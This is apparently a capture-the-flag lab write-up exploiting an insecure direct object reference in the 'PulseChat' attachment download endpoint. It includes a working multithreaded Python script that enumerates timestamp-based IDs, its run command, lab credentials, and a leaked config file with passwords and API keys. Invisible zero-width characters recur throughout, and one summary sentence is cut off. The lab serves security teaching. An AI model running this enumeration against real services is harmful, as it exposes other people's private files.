Lab 115 — PulseChat — IDOR in Attachment Download

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: attachment_enumeration, broken_access_control, idor_exploitation, timestamp_enumeration

Summary

Walkthrough of the CUSTOM Web Lab 115 — PulseChat — IDOR in Attachment Download. Task: messaging platform with file attachments using Unix timestamps as IDs. Solution: enumerate attachment IDs via timestamp range to access files from other users' private conversations due to missi

Description

PulseChat is a team messaging platform used by Pulse Communications Inc. for internal company communication. Employees use PulseChat to exchange messages, share files, and collaborate across departments.

As a security researcher, you have been given a standard user account to test the application. Your team has reported concerns about how file attachments are handled within the platform. Several departments share sensitive documents through private conversations, and it's critical that only authorized conversation participants can access shared files.

Your goal is to find and retrieve a confidential flag that exists somewhere within the platform's data. Pay close attention to how the application handles file access and whether proper authorization checks are in place.

Credentials: user@test.com / password123 ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

English summary: A messaging platform where users can share file attachments. The goal is to find a confidential flag by exploiting how file access is handled.

Analysis

1. Initial reconnaissance:

   • Logged in with provided credentials
   • Found conversations at /conversations/2 and /conversations/3
   • Discovered attachment download URLs: /api/attachments/1736935200/download and /api/attachments/1736935512/download
   • Noticed that attachment IDs look like Unix timestamps (10-digit numbers starting with 1736...) ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

2. Identifying the vulnerability:

   • Uploaded a test file and received new attachment ID: 1777295119 (current Unix timestamp)
   • Confirmed that attachment IDs = Unix timestamp at upload time
   • Tested accessing attachments from other conversations — the endpoint only checks if user is logged in, NOT if user belongs to the conversation where the attachment was shared

3. Key vulnerability: The /api/attachments/:id/download endpoint performs authentication (is user logged in?) but NOT authorization (does user have access to this attachment's conversation?). Combined with predictable timestamp-based IDs, this allows enumeration of all attachments. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Solution

Created a Python script to enumerate attachment IDs in the timestamp range where other attachments might exist:

 python read-only • copy allowed Copy
#!/usr/bin/env python3
import requests
import concurrent.futures
import sys

URL = sys.argv[1]
COOKIE = sys.argv[2]
START = int(sys.argv[3])
END = int(sys.argv[4])

def check_attachment(ts):
    try:
        r = requests.get(f"{URL}/api/attachments/{ts}/download", 
                        cookies={"connect.sid": COOKIE.replace("connect.sid=", "")},
                        timeout=5)
        if r.status_code == 200:
            return ts, r.content[:100]
    except:
        pass
    return None, None
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

found = []
with concurrent.futures.ThreadPoolExecutor(max_workers=50) as executor:
    futures = {executor.submit(check_attachment, ts): ts for ts in range(START, END+1)}
    for future in concurrent.futures.as_completed(futures):
        ts, content = future.result()
        if ts:
            print(f"FOUND: {ts}")
            print(f"Content preview: {content}")
            found.append(ts)

print(f"\nTotal found: {len(found)}")
print(f"IDs: {found}")

Execution:

 bash read-only • copy allowed Copy
python3 scan_attachments.py "https://8c9fcfb7-b2c4-4983-8796-d0dd7676a9e1.labs.hackadvisor.io" "session_cookie" 1736935200 1736936400

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Found attachments:

• 1736935200 — project-timeline.pdf (own conversation)
• 1736935512 — team-photo.jpg (own conversation)
• 1736935847 — admin config file (other user's conversation) — contains flag
• 1736936123 — meeting notes (other user's conversation)
• 1736936400 — binary file (other user's conversation)

Retrieved flag from attachment 1736935847:

=== PULSE COMMUNICATIONS INC. ===
=== INTERNAL SYSTEM CONFIGURATION ===

Database Host: db-primary.internal.pulsechat.com
Database Pass: Pr0d_Db#8xK2m!
API Gateway Key: gw-prod-8x7mN3pQ2kR5vT9w
Stripe Live Key: sk_live_4eC39HqLyjWDarjtT1zdp7dc
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Master System Key: FLAG{REDACTED}

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Key Takeaways / Lessons

• Mastering attachment_enumeration, broken_access_control, idor_exploitation, timestamp_enumeration was key to this challenge.
• Always check for common misconfigurations and verify assumptions.

---

Crafted by XESXOR Research • 2026-04-27 • CUSTOM • Lab 115 — PulseChat — IDOR in Attachment Download • Difficulty: Easy